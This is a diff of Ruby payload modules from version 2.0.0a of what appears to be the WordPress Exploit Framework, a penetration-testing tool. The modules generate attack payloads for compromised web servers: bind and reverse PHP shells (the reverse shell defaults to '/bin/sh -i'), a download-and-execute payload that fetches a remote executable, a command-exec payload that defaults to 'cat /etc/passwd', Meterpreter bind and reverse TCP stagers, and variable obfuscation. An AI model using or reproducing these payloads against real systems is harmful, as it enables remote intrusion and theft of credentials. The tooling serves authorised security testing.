wpxf 2.0.0a

data/lib/wpxf/payloads/bind_php.rb

@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+require 'socket'
+require_rel './socket_helper'
+
+module Wpxf::Payloads
+  # A PHP shell bound to an IPv4 address.
+  class BindPhp < Wpxf::Payload
+    include Wpxf
+    include Wpxf::Options
+    include Wpxf::Payloads::SocketHelper
+
+    def initialize
+      super
+
+      register_options([
+        PortOption.new(
+          name: 'lport',
+          required: true,
+          default: 1234,
+          desc: 'The port being used to listen for incoming connections'
+        )
+      ])
+    end
+
+    def check(mod)
+      if mod.get_option('proxy')
+        mod.emit_warning 'The proxy option for this module is only used for '\
+                         'HTTP connections and will NOT be used for the TCP '\
+                         'connection that the payload establishes'
+      end
+    end
+
+    def lport
+      normalized_option_value('lport')
+    end
+
+    def prepare(mod)
+      self.host = mod.get_option_value('host')
+    end
+
+    def connect_to_host(event_emitter)
+      event_emitter.emit_info "Connecting to #{host}:#{lport}..."
+      socket = nil
+      error = ''
+
+      begin
+        socket = TCPSocket.new(host, lport)
+      rescue StandardError => e
+        error = e
+      end
+
+      event_emitter.emit_error "Failed to connect to #{host}:#{lport} #{error}" unless socket
+      socket
+    end
+
+    def post_exploit(mod)
+      socket = connect_to_host(mod)
+      return false unless socket
+
+      Wpxf.change_stdout_sync(true) do
+        mod.emit_success 'Established a session'
+        start_socket_io_loop(socket, mod)
+        socket.close
+        puts
+        mod.emit_info "Disconnected from #{host}:#{lport}"
+      end
+
+      true
+    end
+
+    def obfuscated_variables
+      super +
+        [
+          'cmd', 'disabled', 'output', 'handle', 'pipes', 'fp',
+          'port', 'scl', 'sock', 'ret', 'msg_sock', 'r', 'w', 'e'
+        ]
+    end
+
+    def constants
+      { 'port' => lport }
+    end
+
+    def raw
+      "#{DataFile.new('php', 'exec_methods.php').php_content}"\
+      "#{DataFile.new('php', 'bind_php.php').php_content}"
+    end
+
+    def cleanup
+      self.queued_commands = []
+    end
+
+    attr_accessor :host
+  end
+end

data/lib/wpxf/payloads/custom.rb

@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module Wpxf::Payloads
+  # A custom payload container.
+  class Custom < Wpxf::Payload
+    include Wpxf
+
+    def initialize
+      super
+
+      unregister_option(get_option('encode_payload'))
+      register_options([
+        StringOption.new(
+          name: 'payload_path',
+          required: true,
+          desc: 'The path to the custom payload'
+        )
+      ])
+    end
+
+    def encoded
+      raw
+    end
+
+    def payload_path
+      File.expand_path(datastore['payload_path'])
+    end
+
+    def prepare(mod)
+      unless File.exist?(payload_path)
+        mod.emit_error "#{payload_path} does not exist"
+        return false
+      end
+
+      true
+    end
+
+    def raw
+      File.open(payload_path, 'rb', &:read)
+    end
+  end
+end

data/lib/wpxf/payloads/download_exec.rb

@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module Wpxf::Payloads
+  # Downloads an executable and runs it in the context of the web server.
+  class DownloadExec < Wpxf::Payload
+    include Wpxf
+
+    def initialize
+      super
+
+      register_options([
+        StringOption.new(
+          name: 'executable_url',
+          required: true,
+          desc: 'The URL to download the executable file from'
+        )
+      ])
+    end
+
+    def generate_php_vars
+      generate_vars([
+        :cmd, :disabled, :handle, :output, :pipes, :fp,
+        :tempfile, :fname, :fd_in, :fd_out
+      ])
+    end
+
+    def obfuscated_variables
+      super + ['cmd', 'tempfile', 'fname', 'fd_in', 'fd_out', 'output', 'executable_url', 'exename']
+    end
+
+    def constants
+      {
+        'executable_url' => datastore['executable_url'],
+        'exename' => "#{Utility::Text.rand_alpha(rand(5..10))}.exe"
+      }
+    end
+
+    def raw
+      "#{DataFile.new('php', 'exec_methods.php').php_content}"\
+      "#{DataFile.new('php', 'download_exec.php').php_content}"
+    end
+  end
+end

data/lib/wpxf/payloads/exec.rb

@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'base64'
+
+module Wpxf::Payloads
+  # Executes a system command and returns the output.
+  class Exec < Wpxf::Payload
+    include Wpxf
+    include Wpxf::Options
+
+    def initialize
+      super
+
+      register_options([
+        StringOption.new(
+          name: 'cmd',
+          required: true,
+          default: 'cat /etc/passwd',
+          desc: 'Command to run'
+        )
+      ])
+    end
+
+    def encoded_cmd
+      Base64.strict_encode64(datastore['cmd'])
+    end
+
+    def constants
+      {
+        'cmd' => encoded_cmd
+      }
+    end
+
+    def obfuscated_variables
+      super + ['cmd']
+    end
+
+    def raw
+      "#{DataFile.new('php', 'exec_methods.php').php_content}"\
+      "#{DataFile.new('php', 'exec.php').php_content}"
+    end
+  end
+end

data/lib/wpxf/payloads/meterpreter_bind_tcp.rb

@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+module Wpxf::Payloads
+  # A Meterpreter bind TCP payload generator.
+  class MeterpreterBindTcp < Wpxf::Payload
+    include Wpxf
+    include Wpxf::Options
+
+    def initialize
+      super
+
+      register_options([
+        StringOption.new(
+          name: 'rhost',
+          required: true,
+          desc: 'The address of the host listening for a connection'
+        ),
+        PortOption.new(
+          name: 'lport',
+          required: true,
+          default: 4444,
+          desc: 'The port being used to listen for incoming connections'
+        ),
+        BooleanOption.new(
+          name: 'use_ipv6',
+          required: true,
+          default: false,
+          desc: 'Bind to an IPv6 address'
+        )
+      ])
+    end
+
+    def host
+      escape_single_quotes(datastore['rhost'])
+    end
+
+    def lport
+      normalized_option_value('lport')
+    end
+
+    def use_ipv6
+      normalized_option_value('use_ipv6')
+    end
+
+    def raw
+      if use_ipv6
+        DataFile.new('php', 'meterpreter_bind_tcp_ipv6.php').php_content
+      else
+        DataFile.new('php', 'meterpreter_bind_tcp.php').php_content
+      end
+    end
+
+    def constants
+      {
+        'ip'   => host,
+        'port' => lport
+      }
+    end
+
+    def obfuscated_variables
+      super + %w[ip port srvsock s_type s res b a len suhosin_bypass]
+    end
+  end
+end

data/lib/wpxf/payloads/meterpreter_reverse_tcp.rb

@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module Wpxf::Payloads
+  # A Meterpreter reverse TCP payload generator.
+  class MeterpreterReverseTcp < Wpxf::Payload
+    include Wpxf
+    include Wpxf::Options
+
+    def initialize
+      super
+
+      register_options([
+        StringOption.new(
+          name: 'lhost',
+          required: true,
+          desc: 'The address of the host listening for a connection'
+        ),
+        PortOption.new(
+          name: 'lport',
+          required: true,
+          default: 4444,
+          desc: 'The port being used to listen for incoming connections'
+        )
+      ])
+    end
+
+    def host
+      escape_single_quotes(datastore['lhost'])
+    end
+
+    def lport
+      normalized_option_value('lport')
+    end
+
+    def raw
+      DataFile.new('php', 'meterpreter_reverse_tcp.php').php_content
+    end
+
+    def constants
+      {
+        'ip'   => host,
+        'port' => lport
+      }
+    end
+
+    def obfuscated_variables
+      super + %w[ip port f s_type s res len a b suhosin_bypass]
+    end
+  end
+end

data/lib/wpxf/payloads/reverse_tcp.rb

@@ -0,0 +1,152 @@
+# frozen_string_literal: true
+
+require_rel './socket_helper'
+
+module Wpxf::Payloads
+  # A basic reverse TCP shell written in PHP.
+  class ReverseTcp < Wpxf::Payload
+    include Wpxf
+    include Wpxf::Options
+    include Wpxf::Payloads::SocketHelper
+
+    def initialize
+      super
+
+      register_options([
+        StringOption.new(
+          name: 'shell',
+          required: true,
+          default: 'uname -a; w; id; /bin/sh -i',
+          desc: 'Shell command to run'
+        ),
+        StringOption.new(
+          name: 'lhost',
+          required: true,
+          default: '',
+          desc: 'The address of the host listening for a connection'
+        ),
+        PortOption.new(
+          name: 'lport',
+          required: true,
+          default: 1234,
+          desc: 'The port being used to listen for incoming connections'
+        ),
+        IntegerOption.new(
+          name: 'chunk_size',
+          required: true,
+          default: 1400,
+          desc: 'TCP chunk size'
+        ),
+        BooleanOption.new(
+          name: 'listen_with_wpxf',
+          default: true,
+          required: true,
+          desc: 'Listen for an incoming connection using WPXF'
+        ),
+        StringOption.new(
+          name: 'bind_to_address',
+          default: '0.0.0.0',
+          required: true,
+          desc: 'The address to bind to when listening for connections'
+        )
+      ])
+    end
+
+    def shell
+      escape_single_quotes(datastore['shell'])
+    end
+
+    def host
+      escape_single_quotes(datastore['lhost'])
+    end
+
+    def listen_with_wpxf
+      normalized_option_value('listen_with_wpxf')
+    end
+
+    def lport
+      normalized_option_value('lport')
+    end
+
+    def bind_to_address
+      normalized_option_value('bind_to_address')
+    end
+
+    def constants
+      {
+        'ip' => host,
+        'port' => normalized_option_value('lport'),
+        'chunk_size' => normalized_option_value('chunk_size'),
+        'shell' => shell
+      }
+    end
+
+    def obfuscated_variables
+      super +
+        %w[
+          ip port chunk_size write_a error_a shell pid sock
+          errno shell pid sock errno errstr descriptor_spec
+          process pipes read_a error_a num_changed_sockets input
+        ]
+    end
+
+    def raw
+      DataFile.new('php', 'reverse_tcp.php').php_content
+    end
+
+    def client_connected(socket, event_emitter)
+      Wpxf.change_stdout_sync(true) do
+        port, ip = Socket.unpack_sockaddr_in(socket.getpeername)
+        event_emitter.emit_success "Connection established from #{ip}:#{port}"
+
+        start_socket_io_loop(socket, event_emitter)
+        socket.close
+        @server.close
+        puts
+        event_emitter.emit_info "Closed reverse handler on port #{lport}"
+      end
+    end
+
+    def prepare(mod)
+      return true unless listen_with_wpxf
+
+      begin
+        @server = TCPServer.new(bind_to_address, lport)
+      rescue StandardError => e
+        mod.emit_error "Failed to start the TCP handler: #{e}"
+        return false
+      end
+
+      mod.emit_success "Started reverse TCP handler on #{lport}"
+      @network_thread = Thread.new do
+        socket = @server.accept
+        @session_started = true
+        client_connected(socket, mod)
+      end
+    end
+
+    def post_exploit(mod)
+      return true unless listen_with_wpxf
+
+      if @session_started
+        begin
+          @network_thread&.join
+        rescue SignalException
+          puts
+          mod.emit_warning 'Caught kill signal', true
+        end
+
+        return true
+      else
+        mod.emit_error 'A connection was not established'
+        return false
+      end
+    end
+
+    def cleanup
+      self.queued_commands = []
+      @network_thread&.exit
+      @server.close if @server && !@server.closed?
+    end
+  end
+end